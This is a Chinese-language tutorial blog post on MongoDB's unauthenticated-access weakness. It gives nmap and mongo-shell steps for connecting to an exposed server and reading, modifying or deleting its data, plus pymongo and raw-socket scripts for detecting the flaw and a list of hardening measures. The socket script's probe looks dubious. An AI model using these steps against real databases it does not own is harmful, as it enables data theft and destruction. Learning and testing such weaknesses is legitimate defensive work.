MongoDB是一款非常流行的文檔型NoSQL資料庫,在Web應用程序的開發中廣泛應用。但是,如未正確設置安全配置,MongoDB可能會被黑客攻擊,因為MongoDB默認沒有啟用身份驗證、默認綁定在所有IP地址上,並在默認情況下開啟所有功能。
一、MongoDB未授權訪問漏洞利用
攻擊者可以通過MongoDB的未授權訪問漏洞獲取MongoDB的完全控制權,並讀取、修改、刪除數據,又名 「認證繞過漏洞」。具體來說,MongoDB未授權訪問漏洞利用的過程包括兩個步驟:
1)查找瀏覽MongoDB的埠和IP地址:
# nmap -p 27017 --script mongodb-info.nse 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2021-05-28 11:38 CST
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
PORT STATE SERVICE
27017/tcp open mongodb
| mongodb-info:
| MongoDB Server Information:
| ......
| MongoDB Authentication Information:
| Authentication Mechanisms: null
|_ Authentication Mechanism Properties:
2)使用MongoDB客戶端工具連接到MongoDB資料庫,如下所示:
# mongo 192.168.56.101:27017
MongoDB shell version v4.0.24
connecting to: mongodb://192.168.56.101:27017/
MongoDB server version: 4.0.24
Welcome to the MongoDB shell.
二、MongoDB未授權訪問利用
一旦攻擊者登錄MongoDB資料庫,就可以嘗試進行多種未授權訪問利用:
1)顯示所有資料庫:
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
2)使用 admin 資料庫:
> use admin
switched to db admin
3)顯示所有集合:
> show collections
4)查詢指定集合的所有文檔:
> db.collection_name.find()
5)修改文檔內容:
> db.collection_name.update({query},{update})
6)刪除文檔:
> db.collection_name.remove({query})
三、MongoDB未授權訪問驗證
為了驗證當前MongoDB資料庫是否具有未授權訪問漏洞,可以使用一些在線工具。例如,使用 Pentest-Tools 進行檢測,輸入MongoDB伺服器的IP地址和埠號,單擊「Scan」按鈕,如下圖所示:
如果存在未授權訪問漏洞,將顯示以下消息:
MongoDB unauthorized access detected.
Host: 192.168.56.101:27017
四、MongoDB未授權訪問Python
Python是非常流行的編程語言,有一些好用的模塊可以用來測試MongoDB未授權訪問漏洞。例如,使用Python模塊pymongo連接到MongoDB資料庫並檢測是否存在未授權訪問漏洞,如下所示:
import pymongo
client = pymongo.MongoClient('mongodb://localhost:27017/')
if len(client.list_database_names()) > 0:
print('MongoDB unauthorized access detected.')
else:
print('MongoDB is secured.')
五、MongoDB未授權訪問漏洞檢測腳本
下面是一個簡單的Python腳本,用於檢測MongoDB未授權訪問漏洞。該腳本用於查找使用MongoDB的IP地址和埠號,並嘗試連接到MongoDB資料庫以獲取許可權。如果可以成功連接,則表明存在漏洞,否則沒有漏洞。
import socket
def check_mongo(ip, port=27017):
try:
s = socket.socket()
s.settimeout(10)
s.connect((ip, port))
payload = b'\x39\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x74\x65\x73\x74\x2E\x24\x63\x6D\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.send(payload)
data = s.recv(1024)
if b'mongodb' in data:
return True
s.close()
return False
except Exception as e:
print(e)
return False
if __name__ == '__main__':
ip_ports = [('127.0.0.1', 27017), ('192.168.1.1', 27017)]
for ip, port in ip_ports:
print('[+]', ip, 'is vulnerable' if check_mongo(ip, port) else 'is not vulnerable')
六、MongoDB未授權訪問用什麼測試
在測試MongoDB未授權訪問漏洞的過程中,有很多測試工具可以使用。這裡介紹一些常用的測試工具:
1)Pentest-Tools: https://pentest-tools.com/network-vulnerability-scanning/mongodb-unauthorized-access
2)Mongoaudit: https://github.com/stampery/mongoaudit
3)NoSQLMap: https://github.com/codingo/NoSQLMap
七、MongoDB未授權訪問漏洞由什麼造成
造成MongoDB未授權訪問漏洞的根本原因是MongoDB在缺少足夠的安全配置的情況下被部署。MongoDB此前默認配置為不啟用身份驗證,允許連接到所有IP地址,並默認啟用所有功能,因此在未調整這些默認設置的情況下直接在生產中使用MongoDB將使其容易被黑客攻擊。
八、MongoDB未授權訪問漏洞修復
要防止MongoDB未授權訪問漏洞的發生,需要採取以下防禦措施:
1)啟用身份驗證,建立MongoDB賬戶和訪問許可權。
2)限制MongoDB資料庫伺服器的網路暴露。
3)使用防火牆規則保護MongoDB。
4)及時更新MongoDB軟體版本和修補程序。
5)監控MongoDB的系統日誌和網路流量,及時檢測惡意跡象。
6)使用密鑰管理器或其他加密技術加密MongoDB資料庫。
7)限制MongoDB的用戶許可權,僅賦予必要的最小許可權,以免出現數據泄露等問題。
九、總結
由於其易於使用和部署,MongoDB已成為Web應用程序開發中NonSQL資料庫的首選。然而,由於沒有正確的安全配置,MongoDB容易成為黑客攻擊的目標。攻擊者可以利用MongoDB未授權訪問漏洞輕鬆獲取MongoDB的完全控制權,並讀取、修改、刪除數據。為了防止未授權訪問漏洞的發生,應該採取適當的防禦措施,例如啟用身份驗證、限制網路暴露、使用防火牆、更新軟體版本等。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/204341.html